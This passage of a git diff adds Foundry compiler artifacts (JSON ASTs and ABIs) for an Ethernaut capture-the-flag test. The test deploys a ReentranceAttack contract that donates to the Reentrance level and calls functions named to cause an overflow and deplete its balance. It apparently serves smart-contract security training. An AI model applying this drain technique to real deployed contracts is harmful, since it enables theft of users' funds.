Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64047,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1655:19:145","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1655:49:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64046,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1643:11:145","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1643:62:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64055,"nodeType":"ExpressionStatement","src":"1643:62:145"}]},"documentation":{"id":64037,"nodeType":"StructuredDocumentation","src":"1507:63:145","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1584:8:145","parameters":{"id":64038,"nodeType":"ParameterList","parameters":[],"src":"1592:2:145"},"returnParameters":{"id":64039,"nodeType":"ParameterList","parameters":[],"src":"1602:0:145"},"scope":64107,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64106,"nodeType":"FunctionDefinition","src":"1767:328:145","nodes":[],"body":{"id":64105,"nodeType":"Block","src":"1795:300:145","nodes":[],"statements":[{"expression":{"arguments":[{"id":64064,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63933,"src":"1819:6:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64061,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1805:2:145","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64063,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1808:10:145","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1805:13:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1805:21:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64066,"nodeType":"ExpressionStatement","src":"1805:21:145"},{"assignments":[64069],"declarations":[{"constant":false,"id":64069,"mutability":"mutable","name":"attacker","nameLocation":"1854:8:145","nodeType":"VariableDeclaration","scope":64105,"src":"1837:25:145","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"},"typeName":{"id":64068,"nodeType":"UserDefinedTypeName","pathNode":{"id":64067,"name":"ReentranceAttack","nameLocations":["1837:16:145"],"nodeType":"IdentifierPath","referencedDeclaration":49771,"src":"1837:16:145"},"referencedDeclaration":49771,"src":"1837:16:145","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}},"visibility":"internal"}],"id":64084,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"id":64080,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63929,"src":"1925:8:145","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}],"id":64079,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1917:7:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64078,"name":"address","nodeType":"ElementaryTypeName","src":"1917:7:145","typeDescriptions":{}}},"id":64081,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1917:17:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64077,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1909:8:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64076,"name":"address","nodeType":"ElementaryTypeName","src":"1909:8:145","stateMutability":"payable","typeDescriptions":{}}},"id":64082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1909:26:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64072,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1865:20:145","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$_t_address_payable_$returns$_t_contract$_ReentranceAttack_$49771_$","typeString":"function (address payable) payable returns (contract ReentranceAttack)"},"typeName":{"id":64071,"nodeType":"UserDefinedTypeName","pathNode":{"id":64070,"name":"ReentranceAttack","nameLocations":["1869:16:145"],"nodeType":"IdentifierPath","referencedDeclaration":49771,"src":"1869:16:145"},"referencedDeclaration":49771,"src":"1869:16:145","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}}},"id":64075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":64073,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63933,"src":"1893:6:145","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64074,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1900:7:145","memberName":"balance","nodeType":"MemberAccess","src":"1893:14:145","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"1865:43:145","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$_t_address_payable_$returns$_t_contract$_ReentranceAttack_$49771_$value","typeString":"function (address payable) payable returns (contract ReentranceAttack)"}},"id":64083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1865:71:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}},"nodeType":"VariableDeclarationStatement","src":"1837:99:145"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64085,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64069,"src":"1946:8:145","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}},"id":64087,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1955:22:145","memberName":"attack_1_causeOverflow","nodeType":"MemberAccess","referencedDeclaration":49746,"src":"1946:31:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64088,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1946:33:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64089,"nodeType":"ExpressionStatement","src":"1946:33:145"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64090,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64069,"src":"1989:8:145","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}},"id":64092,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1998:16:145","memberName":"attack_2_deplete","nodeType":"MemberAccess","referencedDeclaration":49760,"src":"1989:25:145","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1989:27:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64094,"nodeType":"ExpressionStatement","src":"1989:27:145"},{"expression":{"arguments":[{"arguments":[{"id":64097,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63926,"src":"2058:9:145","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64100,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63929,"src":"2077:8:145","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}],"id":64099,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2069:7:145","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64098,"name":"address","nodeType":"ElementaryTypeName","src":"2069:7:145","typeDescriptions":{}}},"id":64101,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2069:17:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64096,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2038:19:145","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64102,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2038:49:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64095,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2027:10:145","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2027:61:145","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64104,"nodeType":"ExpressionStatement","src":"2027:61:145"}]},"documentation":{"id":64058,"nodeType":"StructuredDocumentation","src":"1718:44:145","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1776:9:145","parameters":{"id":64059,"nodeType":"ParameterList","parameters":[],"src":"1785:2:145"},"returnParameters":{"id":64060,"nodeType":"ParameterList","parameters":[],"src":"1795:0:145"},"scope":64107,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":63920,"name":"Test","nameLocations":["390:4:145"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"390:4:145"},"id":63921,"nodeType":"InheritanceSpecifier","src":"390:4:145"},{"baseName":{"id":63922,"name":"Utils","nameLocations":["396:5:145"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"396:5:145"},"id":63923,"nodeType":"InheritanceSpecifier","src":"396:5:145"}],"canonicalName":"TestReentrance","contractDependencies":[49101,49771,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[64107,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestReentrance","nameLocation":"372:14:145","scope":64108,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":145} \ No newline at end of file diff --git a/contracts/out/ReentranceAttack.sol/Reentrance.json b/contracts/out/ReentranceAttack.sol/Reentrance.json new file mode 100644 index 000000000..4c80beb97 --- /dev/null +++ b/contracts/out/ReentranceAttack.sol/Reentrance.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"balanceOf","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"balances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"donate","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"withdraw","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"balanceOf(address)":"70a08231","balances(address)":"27e235e3","donate(address)":"00362a95","withdraw(uint256)":"2e1a7d4d"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"donate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/ReentranceAttack.sol\":\"Reentrance\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/ReentranceAttack.sol\":{\"keccak256\":\"0xe63d072819ce39defd53bc880be712b28ddf8b52a4fb2c3fad1ac18f9808e90e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7e1016f187e230df88373c674a96b094fed2bf301dadb0a8445904ad559da195\",\"dweb:/ipfs/QmQLWAAUEBgvayDHhsmx8MGPVF2z3DL3wo3GWGX8uxhZ7A\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function","name":"donate"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"withdraw"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/ReentranceAttack.sol":"Reentrance"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/ReentranceAttack.sol":{"keccak256":"0xe63d072819ce39defd53bc880be712b28ddf8b52a4fb2c3fad1ac18f9808e90e","urls":["bzz-raw://7e1016f187e230df88373c674a96b094fed2bf301dadb0a8445904ad559da195","dweb:/ipfs/QmQLWAAUEBgvayDHhsmx8MGPVF2z3DL3wo3GWGX8uxhZ7A"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/ReentranceAttack.sol","id":49772,"exportedSymbols":{"Reentrance":[49710],"ReentranceAttack":[49771]},"nodeType":"SourceUnit","src":"32:749:55","nodes":[{"id":49685,"nodeType":"PragmaDirective","src":"32:23:55","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49710,"nodeType":"ContractDefinition","src":"96:231:55","nodes":[{"id":49692,"nodeType":"FunctionDefinition","src":"123:54:55","nodes":[],"functionSelector":"27e235e3","implemented":false,"kind":"function","modifiers":[],"name":"balances","nameLocation":"132:8:55","parameters":{"id":49688,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49687,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49692,"src":"141:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49686,"name":"address","nodeType":"ElementaryTypeName","src":"141:7:55","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"140:9:55"},"returnParameters":{"id":49691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49692,"src":"168:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49689,"name":"uint256","nodeType":"ElementaryTypeName","src":"168:7:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"167:9:55"},"scope":49710,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49697,"nodeType":"FunctionDefinition","src":"182:42:55","nodes":[],"functionSelector":"00362a95","implemented":false,"kind":"function","modifiers":[],"name":"donate","nameLocation":"191:6:55","parameters":{"id":49695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49694,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49697,"src":"198:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49693,"name":"address","nodeType":"ElementaryTypeName","src":"198:7:55","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"197:9:55"},"returnParameters":{"id":49696,"nodeType":"ParameterList","parameters":[],"src":"223:0:55"},"scope":49710,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":49704,"nodeType":"FunctionDefinition","src":"229:55:55","nodes":[],"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"238:9:55","parameters":{"id":49700,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49699,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49704,"src":"248:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49698,"name":"address","nodeType":"ElementaryTypeName","src":"248:7:55","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"247:9:55"},"returnParameters":{"id":49703,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49702,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49704,"src":"275:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49701,"name":"uint256","nodeType":"ElementaryTypeName","src":"275:7:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"274:9:55"},"scope":49710,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":49709,"nodeType":"FunctionDefinition","src":"289:36:55","nodes":[],"functionSelector":"2e1a7d4d","implemented":false,"kind":"function","modifiers":[],"name":"withdraw","nameLocation":"298:8:55","parameters":{"id":49707,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49706,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49709,"src":"307:7:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49705,"name":"uint256","nodeType":"ElementaryTypeName","src":"307:7:55","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"306:9:55"},"returnParameters":{"id":49708,"nodeType":"ParameterList","parameters":[],"src":"324:0:55"},"scope":49710,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Reentrance","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49710],"name":"Reentrance","nameLocation":"106:10:55","scope":49772,"usedErrors":[],"usedEvents":[]},{"id":49771,"nodeType":"ContractDefinition","src":"329:451:55","nodes":[{"id":49713,"nodeType":"VariableDeclaration","src":"361:17:55","nodes":[],"constant":false,"mutability":"mutable","name":"target","nameLocation":"372:6:55","scope":49771,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"},"typeName":{"id":49712,"nodeType":"UserDefinedTypeName","pathNode":{"id":49711,"name":"Reentrance","nameLocations":["361:10:55"],"nodeType":"IdentifierPath","referencedDeclaration":49710,"src":"361:10:55"},"referencedDeclaration":49710,"src":"361:10:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"visibility":"internal"},{"id":49725,"nodeType":"FunctionDefinition","src":"385:97:55","nodes":[],"body":{"id":49724,"nodeType":"Block","src":"437:45:55","nodes":[],"statements":[{"expression":{"id":49722,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49718,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"447:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49720,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49715,"src":"467:7:55","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":49719,"name":"Reentrance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49710,"src":"456:10:55","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Reentrance_$49710_$","typeString":"type(contract Reentrance)"}},"id":49721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"456:19:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"src":"447:28:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49723,"nodeType":"ExpressionStatement","src":"447:28:55"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49716,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49715,"mutability":"mutable","name":"_target","nameLocation":"413:7:55","nodeType":"VariableDeclaration","scope":49725,"src":"397:23:55","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":49714,"name":"address","nodeType":"ElementaryTypeName","src":"397:15:55","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"396:25:55"},"returnParameters":{"id":49717,"nodeType":"ParameterList","parameters":[],"src":"437:0:55"},"scope":49771,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":49746,"nodeType":"FunctionDefinition","src":"488:124:55","nodes":[],"body":{"id":49745,"nodeType":"Block","src":"529:83:55","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":49735,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"571:4:55","typeDescriptions":{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ReentranceAttack_$49771","typeString":"contract ReentranceAttack"}],"id":49734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"563:7:55","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49733,"name":"address","nodeType":"ElementaryTypeName","src":"563:7:55","typeDescriptions":{}}},"id":49736,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"563:13:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49728,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49713,"src":"539:6:55","typeDescriptions":{"typeIdentifier":"t_contract$_Reentrance_$49710","typeString":"contract Reentrance"}},"id":49730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"546:6:55","memberName":"donate","nodeType":"MemberAccess","referencedDeclaration":49697,"src":"539:13:55","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$__$","typeString":"function (address) payable external"}},"id":49732,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"31","id":49731,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"560:1:55","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"src":"539:23:55","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$__$value","typeString":"function (address) payable external"}},"id":49737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"539:38:55","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49738,"nodeType":"ExpressionStatement","src":"539:38:55"},{"expression":{"arguments":[{"hexValue":"31","id":49742,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"603:1:55","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 